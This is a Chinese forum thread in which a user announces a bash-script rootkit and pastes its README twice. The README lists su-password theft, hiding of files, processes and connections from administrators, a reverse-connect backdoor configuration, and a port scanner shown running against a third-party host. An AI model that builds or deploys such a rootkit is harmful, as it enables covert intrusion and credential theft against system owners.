免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 5234 | 回复: 11
打印 上一主题 下一主题

[系统管理] 一个好玩的后门脚本 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2015-01-13 14:08 |只看该作者 |倒序浏览
本帖最后由 W.Z.T 于 2015-01-16 15:32 编辑

hi, 好久不见, 最近用bash写了个一个后门, 写这个只是为了好玩, 可以隐藏特定文件/文件夹,网络连接, 进程, 还有一个可以回连的反弹后门。
请大家鉴赏下:https://github.com/cloudsec/brootkit

更新一个多线程的端口扫描器

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit

论坛徽章:
769
金牛座
日期:2014-02-26 17:49:58水瓶座
日期:2014-02-26 18:10:15白羊座
日期:2014-04-15 19:29:52寅虎
日期:2014-04-17 19:43:21酉鸡
日期:2014-04-19 21:24:10子鼠
日期:2014-04-22 13:55:24卯兔
日期:2014-04-22 14:20:58亥猪
日期:2014-04-22 16:13:09狮子座
日期:2014-05-05 22:31:17摩羯座
日期:2014-05-06 10:32:53处女座
日期:2014-05-12 09:23:11子鼠
日期:2014-05-21 18:21:27
2 [报告]
发表于 2015-01-13 14:23 |只看该作者
回复 1# W.Z.T

碉堡了...别用来黑我啊...我有良民证...

论坛徽章:
2
2015年亚洲杯之伊拉克
日期:2015-04-13 10:55:1115-16赛季CBA联赛之山西
日期:2016-05-16 09:54:41
3 [报告]
发表于 2015-01-13 16:01 |只看该作者
厉害,看的不是很明白。呵呵~

论坛徽章:
0
4 [报告]
发表于 2015-01-13 17:28 |只看该作者
利用bash脚本的命令执行顺序, hack掉bash的buitlin函数和系统的一些命令, 如何ls,ps,netstat等等,have fun。

论坛徽章:
11
CU十二周年纪念徽章
日期:2013-10-24 15:41:342015年辞旧岁徽章
日期:2015-03-03 16:54:15丑牛
日期:2015-01-14 10:36:40技术图书徽章
日期:2015-01-12 15:46:11白羊座
日期:2014-11-14 09:35:36狮子座
日期:2014-10-30 13:18:49巳蛇
日期:2014-10-11 12:52:08子鼠
日期:2014-09-28 14:11:06双鱼座
日期:2014-04-22 13:05:48午马
日期:2014-02-11 17:58:002015年迎新春徽章
日期:2015-03-04 09:55:28
5 [报告]
发表于 2015-01-13 17:32 |只看该作者
碉堡了,我是菜鸟,别黑我。。。

论坛徽章:
5
戌狗
日期:2014-06-09 10:29:10酉鸡
日期:2014-12-01 16:05:27处女座
日期:2015-01-07 18:35:262015亚冠之水原三星
日期:2015-06-03 09:26:222015亚冠之布里斯班狮吼
日期:2015-06-15 10:53:54
6 [报告]
发表于 2015-01-14 21:20 |只看该作者
兄台,抽空把readme写详细一些呗)

论坛徽章:
0
7 [报告]
发表于 2015-01-16 15:31 |只看该作者
回复 6# kaede_1

已更新readme和一个多线程的端口扫描器 https://github.com/cloudsec

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit


   

论坛徽章:
5
戌狗
日期:2014-06-09 10:29:10酉鸡
日期:2014-12-01 16:05:27处女座
日期:2015-01-07 18:35:262015亚冠之水原三星
日期:2015-06-03 09:26:222015亚冠之布里斯班狮吼
日期:2015-06-15 10:53:54
8 [报告]
发表于 2015-01-16 16:04 |只看该作者
回复 7# W.Z.T


   

论坛徽章:
0
9 [报告]
发表于 2015-02-07 10:37 |只看该作者
学习学习, 慢慢研究

论坛徽章:
0
10 [报告]
发表于 2015-09-14 22:43 |只看该作者
我一定要看懂你的代码!
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP